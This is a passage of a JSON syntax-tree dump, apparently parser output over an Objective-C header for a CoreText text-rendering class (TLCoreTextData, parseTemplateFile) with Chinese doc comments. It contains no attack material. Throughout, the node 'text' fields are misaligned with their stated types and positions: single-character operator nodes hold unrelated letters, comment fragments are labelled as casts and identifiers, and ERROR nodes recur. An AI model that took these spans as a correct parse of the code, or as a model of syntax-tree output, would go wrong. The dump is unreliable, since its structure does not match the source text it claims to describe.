\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseAttributedContent:(NS", "parent": 37, "children": [39, 113, 115, 116, 117], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 38, "column": 52}}, {"id": 39, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseA", "parent": 38, "children": [40, 105, 106, 107], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 38, "column": 32}}, {"id": 40, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981", "parent": 39, "children": [41, 99, 102, 103, 104], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 37, "column": 109}}, {"id": 41, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameR", "parent": 40, "children": [42, 93, 96, 97, 98], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 37, "column": 87}}, {"id": 42, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57", "parent": 41, "children": [43, 88, 90, 91, 92], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 37, "column": 52}}, {"id": 43, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config ", "parent": 42, "children": [44, 80, 81, 82], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 37, "column": 32}}, {"id": 44, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedSt", "parent": 43, "children": [45, 75, 77, 78, 79], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 52}}, {"id": 45, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * ", "parent": 44, "children": [46, 67, 68, 69], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 32}}, {"id": 46, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFram", "parent": 45, "children": [47, 61, 64, 65, 66], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 87}}, {"id": 47, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links", "parent": 46, "children": [48, 56, 58, 59, 60], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 52}}, {"id": 48, "type": "unary_expression", "text": "rseContent:(NSString *)content l", "parent": 47, "children": [49, 50], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 32}}, {"id": 49, "type": "+", "text": "r", "parent": 48, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 1}}, {"id": 50, "type": "cast_expression", "text": "eContent:(NSString *)content l", "parent": 48, "children": [51, 55], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 32}}, {"id": 51, "type": "type_descriptor", "text": "Content:(NSStrin", "parent": 50, "children": [52, 53], "start_point": {"row": 35, "column": 3}, "end_point": {"row": 35, "column": 19}}, {"id": 52, "type": "type_identifier", "text": "Content:(NSStr", "parent": 51, "children": [], "start_point": {"row": 35, "column": 3}, "end_point": {"row": 35, "column": 17}}, {"id": 53, "type": "abstract_pointer_declarator", "text": "n", "parent": 51, "children": [54], "start_point": {"row": 35, "column": 18}, "end_point": {"row": 35, "column": 19}}, {"id": 54, "type": "*", "text": "n", "parent": 53, "children": [], "start_point": {"row": 35, "column": 18}, "end_point": {"row": 35, "column": 19}}, {"id": 55, "type": "identifier", "text": " *)content l", "parent": 50, "children": [], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 32}}, {"id": 56, "type": "ERROR", "text": "ink:(NSArr", "parent": 47, "children": [57], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 42}}, {"id": 57, "type": "identifier", "text": "k:(NSArr", "parent": 56, "children": [], "start_point": {"row": 35, "column": 34}, "end_point": {"row": 35, "column": 42}}, {"id": 58, "type": "*", "text": "y", "parent": 47, "children": [], "start_point": {"row": 35, "column": 43}, "end_point": {"row": 35, "column": 44}}, {"id": 59, "type": "ERROR", "text": " ", "parent": 47, "children": [], "start_point": {"row": 35, "column": 44}, "end_point": {"row": 35, "column": 45}}, {"id": 60, "type": "identifier", "text": "*)links", "parent": 47, "children": [], "start_point": {"row": 35, "column": 45}, "end_point": {"row": 35, "column": 52}}, {"id": 61, "type": "ERROR", "text": "\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c ", "parent": 46, "children": [62, 63], "start_point": {"row": 35, "column": 53}, "end_point": {"row": 35, "column": 78}}, {"id": 62, "type": "identifier", "text": "\n\n/**\n", "parent": 61, "children": [], "start_point": {"row": 35, "column": 53}, "end_point": {"row": 35, "column": 59}}, {"id": 63, "type": "identifier", "text": " \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c ", "parent": 61, "children": [], "start_point": {"row": 35, "column": 61}, "end_point": {"row": 35, "column": 78}}, {"id": 64, "type": "*", "text": "\u83b7", "parent": 46, "children": [], "start_point": {"row": 35, "column": 79}, "end_point": {"row": 35, "column": 80}}, {"id": 65, "type": "ERROR", "text": "\u53d6", "parent": 46, "children": [], "start_point": {"row": 35, "column": 80}, "end_point": {"row": 35, "column": 81}}, {"id": 66, "type": "identifier", "text": "CTFram", "parent": 46, "children": [], "start_point": {"row": 35, "column": 81}, "end_point": {"row": 35, "column": 87}}, {"id": 67, "type": "ERROR", "text": "e", "parent": 45, "children": [], "start_point": {"row": 35, "column": 87}, "end_point": {"row": 35, "column": 88}}, {"id": 68, "type": "+", "text": "e", "parent": 45, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 1}}, {"id": 69, "type": "cast_expression", "text": "\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * ", "parent": 45, "children": [70, 74], "start_point": {"row": 36, "column": 2}, "end_point": {"row": 36, "column": 32}}, {"id": 70, "type": "type_descriptor", "text": "\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8", "parent": 69, "children": [71, 72], "start_point": {"row": 36, "column": 3}, "end_point": {"row": 36, "column": 19}}, {"id": 71, "type": "type_identifier", "text": "\u4f8b\u4ee5\u53caCTFrameRef\u5b9e", "parent": 70, "children": [], "start_point": {"row": 36, "column": 3}, "end_point": {"row": 36, "column": 17}}, {"id": 72, "type": "abstract_pointer_declarator", "text": "\u7ed8", "parent": 70, "children": [73], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 19}}, {"id": 73, "type": "*", "text": "\u7ed8", "parent": 72, "children": [], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 19}}, {"id": 74, "type": "identifier", "text": "\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * ", "parent": 69, "children": [], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 32}}, {"id": 75, "type": "ERROR", "text": " @param at", "parent": 44, "children": [76], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 42}}, {"id": 76, "type": "identifier", "text": "param at", "parent": 75, "children": [], "start_point": {"row": 36, "column": 34}, "end_point": {"row": 36, "column": 42}}, {"id": 77, "type": "*", "text": "r", "parent": 44, "children": [], "start_point": {"row": 36, "column": 43}, "end_point": {"row": 36, "column": 44}}, {"id": 78, "type": "ERROR", "text": "i", "parent": 44, "children": [], "start_point": {"row": 36, "column": 44}, "end_point": {"row": 36, "column": 45}}, {"id": 79, "type": "identifier", "text": "butedSt", "parent": 44, "children": [], "start_point": {"row": 36, "column": 45}, "end_point": {"row": 36, "column": 52}}, {"id": 80, "type": "ERROR", "text": "r", "parent": 43, "children": [], "start_point": {"row": 36, "column": 52}, "end_point": {"row": 36, "column": 53}}, {"id": 81, "type": "+", "text": "n", "parent": 43, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 1}}, {"id": 82, "type": "cast_expression", "text": " \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config ", "parent": 43, "children": [83, 87], "start_point": {"row": 37, "column": 2}, "end_point": {"row": 37, "column": 32}}, {"id": 83, "type": "type_descriptor", "text": "\u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @par", "parent": 82, "children": [84, 85], "start_point": {"row": 37, "column": 3}, "end_point": {"row": 37, "column": 19}}, {"id": 84, "type": "type_identifier", "text": "\u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @p", "parent": 83, "children": [], "start_point": {"row": 37, "column": 3}, "end_point": {"row": 37, "column": 17}}, {"id": 85, "type": "abstract_pointer_declarator", "text": "r", "parent": 83, "children": [86], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 19}}, {"id": 86, "type": "*", "text": "r", "parent": 85, "children": [], "start_point": {"row": 37, "column": 18}, "end_point": {"row": 37, "column": 19}}, {"id": 87, "type": "identifier", "text": "m config ", "parent": 82, "children": [], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 32}}, {"id": 88, "type": "ERROR", "text": " \u914d\u7f6e\u7ed8", "parent": 42, "children": [89], "start_point": {"row": 37, "column": 32}, "end_point": {"row": 37, "column": 42}}, {"id": 89, "type": "identifier", "text": " \u914d\u7f6e\u7ed8", "parent": 88, "children": [], "start_point": {"row": 37, "column": 34}, "end_point": {"row": 37, "column": 42}}, {"id": 90, "type": "*", "text": "\u7684", "parent": 42, "children": [], "start_point": {"row": 37, "column": 43}, "end_point": {"row": 37, "column": 44}}, {"id": 91, "type": "ERROR", "text": "\u53c2", "parent": 42, "children": [], "start_point": {"row": 37, "column": 44}, "end_point": {"row": 37, "column": 45}}, {"id": 92, "type": "identifier", "text": "\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57", "parent": 42, "children": [], "start_point": {"row": 37, "column": 45}, "end_point": {"row": 37, "column": 52}}, {"id": 93, "type": "ERROR", "text": "\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return", "parent": 41, "children": [94, 95], "start_point": {"row": 37, "column": 53}, "end_point": {"row": 37, "column": 78}}, {"id": 94, "type": "identifier", "text": "\u8272\uff0c\u5927\u5c0f\uff0c\u884c", "parent": 93, "children": [], "start_point": {"row": 37, "column": 53}, "end_point": {"row": 37, "column": 59}}, {"id": 95, "type": "identifier", "text": "\u7b49\u3002\n *\n * @return", "parent": 93, "children": [], "start_point": {"row": 37, "column": 61}, "end_point": {"row": 37, "column": 78}}, {"id": 96, "type": "*", "text": "C", "parent": 41, "children": [], "start_point": {"row": 37, "column": 79}, "end_point": {"row": 37, "column": 80}}, {"id": 97, "type": "ERROR", "text": "T", "parent": 41, "children": [], "start_point": {"row": 37, "column": 80}, "end_point": {"row": 37, "column": 81}}, {"id": 98, "type": "identifier", "text": "FrameR", "parent": 41, "children": [], "start_point": {"row": 37, "column": 81}, "end_point": {"row": 37, "column": 87}}, {"id": 99, "type": "ERROR", "text": "f\u5b9e\u4f8b\u4ee5\u53caCTFrameR", "parent": 40, "children": [100, 101], "start_point": {"row": 37, "column": 88}, "end_point": {"row": 37, "column": 101}}, {"id": 100, "type": "identifier", "text": "f\u5b9e\u4f8b\u4ee5", "parent": 99, "children": [], "start_point": {"row": 37, "column": 88}, "end_point": {"row": 37, "column": 92}}, {"id": 101, "type": "identifier", "text": "TFrameR", "parent": 99, "children": [], "start_point": {"row": 37, "column": 94}, "end_point": {"row": 37, "column": 101}}, {"id": 102, "type": "*", "text": "f", "parent": 40, "children": [], "start_point": {"row": 37, "column": 102}, "end_point": {"row": 37, "column": 103}}, {"id": 103, "type": "ERROR", "text": "\u5b9e", "parent": 40, "children": [], "start_point": {"row": 37, "column": 103}, "end_point": {"row": 37, "column": 104}}, {"id": 104, "type": "identifier", "text": "\u9645\u7ed8\u5236\u9700\u8981", "parent": 40, "children": [], "start_point": {"row": 37, "column": 104}, "end_point": {"row": 37, "column": 109}}, {"id": 105, "type": "ERROR", "text": "\u7684", "parent": 39, "children": [], "start_point": {"row": 37, "column": 109}, "end_point": {"row": 37, "column": 110}}, {"id": 106, "type": "+", "text": "\u5ea6", "parent": 39, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 1}}, {"id": 107, "type": "cast_expression", "text": " */\n+ (TLCoreTextData *)parseA", "parent": 39, "children": [108, 112], "start_point": {"row": 38, "column": 2}, "end_point": {"row": 38, "column": 32}}, {"id": 108, "type": "type_descriptor", "text": "*/\n+ (TLCoreText", "parent": 107, "children": [109, 110], "start_point": {"row": 38, "column": 3}, "end_point": {"row": 38, "column": 19}}, {"id": 109, "type": "type_identifier", "text": "*/\n+ (TLCoreTe", "parent": 108, "children": [], "start_point": {"row": 38, "column": 3}, "end_point": {"row": 38, "column": 17}}, {"id": 110, "type": "abstract_pointer_declarator", "text": "t", "parent": 108, "children": [111], "start_point": {"row": 38, "column": 18}, "end_point": {"row": 38, "column": 19}}, {"id": 111, "type": "*", "text": "t", "parent": 110, "children": [], "start_point": {"row": 38, "column": 18}, "end_point": {"row": 38, "column": 19}}, {"id": 112, "type": "identifier", "text": "ata *)parseA", "parent": 107, "children": [], "start_point": {"row": 38, "column": 20}, "end_point": {"row": 38, "column": 32}}, {"id": 113, "type": "ERROR", "text": "ttributedC", "parent": 38, "children": [114], "start_point": {"row": 38, "column": 32}, "end_point": {"row": 38, "column": 42}}, {"id": 114, "type": "identifier", "text": "ributedC", "parent": 113, "children": [], "start_point": {"row": 38, "column": 34}, "end_point": {"row": 38, "column": 42}}, {"id": 115, "type": "*", "text": "n", "parent": 38, "children": [], "start_point": {"row": 38, "column": 43}, "end_point": {"row": 38, "column": 44}}, {"id": 116, "type": "ERROR", "text": "t", "parent": 38, "children": [], "start_point": {"row": 38, "column": 44}, "end_point": {"row": 38, "column": 45}}, {"id": 117, "type": "identifier", "text": "ent:(NS", "parent": 38, "children": [], "start_point": {"row": 38, "column": 45}, "end_point": {"row": 38, "column": 52}}, {"id": 118, "type": "ERROR", "text": "utableAttribu", "parent": 37, "children": [119, 120], "start_point": {"row": 38, "column": 53}, "end_point": {"row": 38, "column": 66}}, {"id": 119, "type": "identifier", "text": "utab", "parent": 118, "children": [], "start_point": {"row": 38, "column": 53}, "end_point": {"row": 38, "column": 57}}, {"id": 120, "type": "identifier", "text": "Attribu", "parent": 118, "children": [], "start_point": {"row": 38, "column": 59}, "end_point": {"row": 38, "column": 66}}, {"id": 121, "type": "*", "text": "e", "parent": 37, "children": [], "start_point": {"row": 38, "column": 67}, "end_point": {"row": 38, "column": 68}}, {"id": 122, "type": "ERROR", "text": "d", "parent": 37, "children": [], "start_point": {"row": 38, "column": 68}, "end_point": {"row": 38, "column": 69}}, {"id": 123, "type": "identifier", "text": "Strin", "parent": 37, "children": [], "start_point": {"row": 38, "column": 69}, "end_point": {"row": 38, "column": 74}}, {"id": 124, "type": "--", "text": "", "parent": 36, "children": [], "start_point": {"row": 38, "column": 74}, "end_point": {"row": 38, "column": 74}}, {"id": 125, "type": "update_expression", "text": "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * \u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArray\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param data \u4ece\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765", "parent": null, "children": [126, 161], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 49, "column": 88}}, {"id": 126, "type": "binary_expression", "text": "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * \u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArray\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param data \u4ece\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765", "parent": 125, "children": [127, 156, 158, 159, 160], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 49, "column": 88}}, {"id": 127, "type": "binary_expression", "text": "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * \u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArray\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCT", "parent": 126, "children": [128, 148, 149, 150], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 49, "column": 42}}, {"id": 128, "type": "binary_expression", "text": "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n", "parent": 127, "children": [129, 143, 146, 147], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 123}}, {"id": 129, "type": "binary_expression", "text": "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseT", "parent": 128, "children": [130, 138, 140, 141, 142], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 88}}, {"id": 130, "type": "unary_expression", "text": "lateFile:(NSString *)path config:(TLAttrib", "parent": 129, "children": [131, 132], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 42}}, {"id": 131, "type": "+", "text": "l", "parent": 130, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 1}}, {"id": 132, "type": "cast_expression", "text": "teFile:(NSString *)path config:(TLAttrib", "parent": 130, "children": [133, 137], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 42}}, {"id": 133, "type": "type_descriptor", "text": "eFile:(NSString ", "parent": 132, "children": [134, 135], "start_point": {"row": 48, "column": 3}, "end_point": {"row": 48, "column": 19}}, {"id": 134, "type": "type_identifier", "text": "eFile:(NSStrin", "parent": 133, "children": [], "start_point": {"row": 48, "column": 3}, "end_point": {"row": 48, "column": 17}}, {"id": 135, "type": "abstract_pointer_declarator", "text": " ", "parent": 133, "children": [136], "start_point": {"row": 48, "column": 18}, "end_point": {"row": 48, "column": 19}}, {"id": 136, "type": "*", "text": " ", "parent": 135, "children": [], "start_point": {"row": 48, "column": 18}, "end_point": {"row": 48, "column": 19}}, {"id": 137, "type": "identifier", "text": ")path config:(TLAttrib", "parent": 132, "children": [], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 42}}, {"id": 138, "type": "ERROR", "text": "uteConfig *)config;\n+ (TLCo", "parent": 129, "children": [139], "start_point": {"row": 48, "column": 42}, "end_point": {"row": 48, "column": 69}}, {"id": 139, "type": "identifier", "text": "eConfig *)config;\n+ (TLCo", "parent": 138, "children": [], "start_point": {"row": 48, "column": 44}, "end_point": {"row": 48, "column": 69}}, {"id": 140, "type": "*", "text": "e", "parent": 129, "children": [], "start_point": {"row": 48, "column": 70}, "end_point": {"row": 48, "column": 71}}, {"id": 141, "type": "ERROR", "text": "T", "parent": 129, "children": [], "start_point": {"row": 48, "column": 71}, "end_point": {"row": 48, "column": 72}}, {"id": 142, "type": "identifier", "text": "extData *)parseT", "parent": 129, "children": [], "start_point": {"row": 48, "column": 72}, "end_point": {"row": 48, "column": 88}}, {"id": 143, "type": "ERROR", "text": "mplateFile:(NSString *)pa", "parent": 128, "children": [144, 145], "start_point": {"row": 48, "column": 89}, "end_point": {"row": 48, "column": 114}}, {"id": 144, "type": "identifier", "text": "mplate", "parent": 143, "children": [], "start_point": {"row": 48, "column": 89}, "end_point": {"row": 48, "column": 95}}, {"id": 145, "type": "identifier", "text": "le:(NSString *)pa", "parent": 143, "children": [], "start_point": {"row": 48, "column": 97}, "end_point": {"row": 48, "column": 114}}, {"id": 146, "type": "*", "text": "h", "parent": 128, "children": [], "start_point": {"row": 48, "column": 115}, "end_point": {"row": 48, "column": 116}}, {"id": 147, "type": "identifier", "text": "\n\n/**\n", "parent": 128, "children": [], "start_point": {"row": 48, "column": 117}, "end_point": {"row": 48, "column": 123}}, {"id": 148, "type": "ERROR", "text": " ", "parent": 127, "children": [], "start_point": {"row": 48, "column": 123}, "end_point": {"row": 48, "column": 124}}, {"id": 149, "type": "+", "text": " ", "parent": 127, "children": [], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 1}}, {"id": 150, "type": "cast_expression", "text": "\u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArray\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCT", "parent": 127, "children": [151, 155], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 42}}, {"id": 151, "type": "type_descriptor", "text": "\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSArr", "parent": 150, "children": [152, 153], "start_point": {"row": 49, "column": 3}, "end_point": {"row": 49, "column": 19}}, {"id": 152, "type": "type_identifier", "text": "\u8fc7\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765\u7684\u6570\u7ec4\uff08NSA", "parent": 151, "children": [], "start_point": {"row": 49, "column": 3}, "end_point": {"row": 49, "column": 17}}, {"id": 153, "type": "abstract_pointer_declarator", "text": "r", "parent": 151, "children": [154], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 19}}, {"id": 154, "type": "*", "text": "r", "parent": 153, "children": [], "start_point": {"row": 49, "column": 18}, "end_point": {"row": 49, "column": 19}}, {"id": 155, "type": "identifier", "text": "y\uff09\uff0c\u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCT", "parent": 150, "children": [], "start_point": {"row": 49, "column": 20}, "end_point": {"row": 49, "column": 42}}, {"id": 156, "type": "ERROR", "text": "FrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @p", "parent": 126, "children": [157], "start_point": {"row": 49, "column": 42}, "end_point": {"row": 49, "column": 69}}, {"id": 157, "type": "identifier", "text": "ameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @p", "parent": 156, "children": [], "start_point": {"row": 49, "column": 44}, "end_point": {"row": 49, "column": 69}}, {"id": 158, "type": "*", "text": "r", "parent": 126, "children": [], "start_point": {"row": 49, "column": 70}, "end_point": {"row": 49, "column": 71}}, {"id": 159, "type": "ERROR", "text": "a", "parent": 126, "children": [], "start_point": {"row": 49, "column": 71}, "end_point": {"row": 49, "column": 72}}, {"id": 160, "type": "identifier", "text": "m data \u4ece\u7f51\u7edc\u83b7\u53d6\u4e0b\u6765", "parent": 126, "children": [], "start_point": {"row": 49, "column": 72}, "end_point": {"row": 49, "column": 88}}, {"id": 161, "type": "--", "text": "", "parent": 125, "children": [], "start_point": {"row": 49, "column": 88}, "end_point": {"row": 49, "column": 88}}, {"id": 162, "type": "update_expression", "text": "\n@end\n\n", "parent": null, "children": [163, 198], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 60, "column": 54}}, {"id": 163, "type": "binary_expression", "text": "\n@end\n\n", "parent": 162, "children": [164, 193, 195, 196, 197], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 60, "column": 54}}, {"id": 164, "type": "binary_expression", "text": "\n@end\n\n", "parent": 163, "children": [165, 185, 186, 187], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 60, "column": 37}}, {"id": 165, "type": "binary_expression", "text": "\n@end\n\n", "parent": 164, "children": [166, 180, 182, 183, 184], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 89}}, {"id": 166, "type": "binary_expression", "text": "\n@end\n\n", "parent": 165, "children": [167, 174, 176, 177, 179], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 61}}, {"id": 167, "type": "unary_expression", "text": "\n@end\n\n", "parent": 166, "children": [168], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 37}}, {"id": 168, "type": "+", "text": "\n", "parent": 167, "children": [], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 1}}, {"id": 169, "type": "type_descriptor", "text": "nd\n\n", "parent": 167, "children": [170, 171], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 19}}, {"id": 170, "type": "type_identifier", "text": "nd\n\n", 